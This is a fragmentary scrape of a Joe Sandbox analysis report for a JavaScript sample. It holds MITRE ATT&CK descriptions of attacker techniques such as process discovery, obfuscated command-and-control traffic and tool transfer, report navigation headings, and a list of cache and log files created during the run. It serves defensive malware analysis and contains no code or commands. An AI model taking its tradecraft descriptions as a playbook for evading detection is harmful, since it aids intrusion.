Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 273371081152046820.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9e27dedb-87e8-44b8-b910-73513534cd32.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.348

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
273371081152046820.js